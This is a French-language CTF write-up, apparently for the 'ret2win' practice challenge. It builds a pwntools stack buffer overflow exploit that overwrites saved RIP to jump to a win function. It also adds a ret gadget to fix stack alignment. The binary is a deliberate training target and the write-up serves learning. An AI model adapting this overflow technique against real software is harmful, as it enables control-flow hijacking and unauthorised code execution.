Note

Je suis actuellement entrain d’apprendre le pwn donc il est possible que je fasse des erreurs ou que je dise des choses fausses dans ce post, si vous en voyez n’hésitez pas à me contacter sur discord.

File information

Avant de commencer à regarder dans l’executable, il faut savoir à quoi on s’attaque, on va utiliser file pour avoir des informations sur le fichier, puis checksec pour voir les éventuelles sécuritées avec lesquelles il a été compilé

file ret2win

ret2win: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=19abc0b3bb228157af55b8e16af7316d54ab0597, not stripped

On va donc s’attaquer à un executable en 64bit, linké dynamiquement et qui n’est pas strippé

Maintenant le checksec

checksec ret2win

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Exploitation

On va le run et voir ce qu’il se passe

2023-01-13-194951_1041x663_scrot

En lisant ce que le programme écrit on apprend plusieurs choses:

  • La taille du buffer où est stocké notre input: 32 bytes
  • La fonction read() est utilisée pour lire notre input
  • read() va lire 56 bytes au maximum

On va pouvoir overflow le buffer puisqu’on peut écrire un nombre de bytes supérieur à la taille du buffer

Voici donc le début de notre exploit:

from pwn import *

context.binary = binary = ELF("./ret2win", checksec=False)
  
p = process()

p.recv()

padding = b"A"*32
rbp = b"B"*8

payload = padding + rbp

p.sendline(payload)

Ici, on déclare deux variables, une qui correspond au padding nécessaire pour remplir le buffer (padding), et une qui correspond au padding pour overwrite la sauvegarde de rbp (rbp)

On envoie ensuite notre payload mais en l’occurence ici il ne va rien se passer puisque la sauvegarde de rip n’a pas été overwrite.

La prochaine étape est de lister les symboles de l’executable pour trouver notre fonction “win” (une fonction qui va nous permettre de lire le flag). Pour faire ça, on peut utiliser pwndbg par exemple:

pwndbg> info functions
  All defined functions:

  Non-debugging symbols:
  0x0000000000400528  _init
  0x0000000000400550  puts@plt
  0x0000000000400560  system@plt
  0x0000000000400570  printf@plt
  0x0000000000400580  memset@plt
  0x0000000000400590  read@plt
  0x00000000004005a0  setvbuf@plt
  0x00000000004005b0  _start
  0x00000000004005e0  _dl_relocate_static_pie
  0x00000000004005f0  deregister_tm_clones
  0x0000000000400620  register_tm_clones
  0x0000000000400660  __do_global_dtors_aux
  0x0000000000400690  frame_dummy
  0x0000000000400697  main
  0x00000000004006e8  pwnme
  0x0000000000400756  ret2win
  0x0000000000400780  __libc_csu_init
  0x00000000004007f0  __libc_csu_fini
  0x00000000004007f4  _fini

Une fonction sort du lot: ret2win (située à l’adresse 0x0000000000400756)

On va donc regarder ce qu’elle fait plus en détail, toujours avec pwndbg

pwndbg> disass ret2win
  Dump of assembler code for function ret2win:
  0x0000000000400756 <+0>:  push   rbp
  0x0000000000400757 <+1>:  mov    rbp,rsp
  0x000000000040075a <+4>:  mov    edi,0x400926
  0x000000000040075f <+9>:  call   0x400550 <puts@plt>
  0x0000000000400764 <+14>: mov    edi,0x400943
  0x0000000000400769 <+19>: call   0x400560 <system@plt>
  0x000000000040076e <+24>: nop
  0x000000000040076f <+25>: pop    rbp
  0x0000000000400770 <+26>: ret    
  End of assembler dump.

Il y a 2 call, un sur puts et un sur system. On voit qu’il passe un argument à system, situé à l’adresse 0x400943

On va donc regarder ce qui se trouve à cette adresse:

  pwndbg> x/s 0x400943
  0x400943: "/bin/cat flag.txt"

Ok, donc c’est effectivement notre fonction win, puisqu’elle passe "/bin/cat flag.txt" en argument dans system().

L’idée va donc être d’ajouter l’adresse de cette fonction à la fin de notre payload, pour qu’elle finisse dans la sauvegarde de rip

La sauvegarde de rip contient toujours l’adresse de la prochaine instruction à éxecuter. Ici, en réecrivant sa valeur actuelle par l’adresse de la fonction ret2win, on modifie la prochaine étape du programme en lui faisant appeler une fonction qui ne devait jamais être appelée. On a donc modifié son flux d’éxecution.

On peut compléter notre exploit:

from pwn import *

context.binary = binary = ELF("./ret2win", checksec=False)
  
p = process()

p.recv()

padding = b"A"*32
rbp = b"B"*8
rip = p64(0x00400756)

payload = padding + rbp + rip

p.sendline(payload)
print("flag:",p.recvall().split(b"\n")[2].decode('utf-8'))

Maintenant, on lance l’exploit et on devrait avoir le flag

2023-01-13-201012_1135x146_scrot

Et… le flag n’a pas été print car le programme a segfault. Puisque je suis sous Ubuntu 22.04, qui est une version ultérieure à la 18.04 je suis affecté par les problèmes de stack alignment (MOVAPS)

Pour régler ça, on peut ajouter un gadget ret, qu’on va trouver en utilisant ROPgadget, après notre padding

ROPgadget --binary ret2win | grep ret

0x000000000040053e : ret

Final Payload

Maintenant qu’on a l’addresse du ret on peut l’ajouter à notre payload, et il devrait fonctionner cette fois. Voici donc la version finale de l’exploit

from pwn import *

context.binary = binary = ELF("./ret2win", checksec=False)
  
p = process()

p.recv()

padding = b"A"*32
rbp = b"B"*8
rip = p64(0x00400756)
ret = p64(0x000000000040053e)

payload = padding + rbp + ret + rip

p.sendline(payload)
print("flag:",p.recvall().split(b"\n")[2].decode('utf-8'))

2023-01-13-201337_1023x371_scrot

Et on a le flag, gg!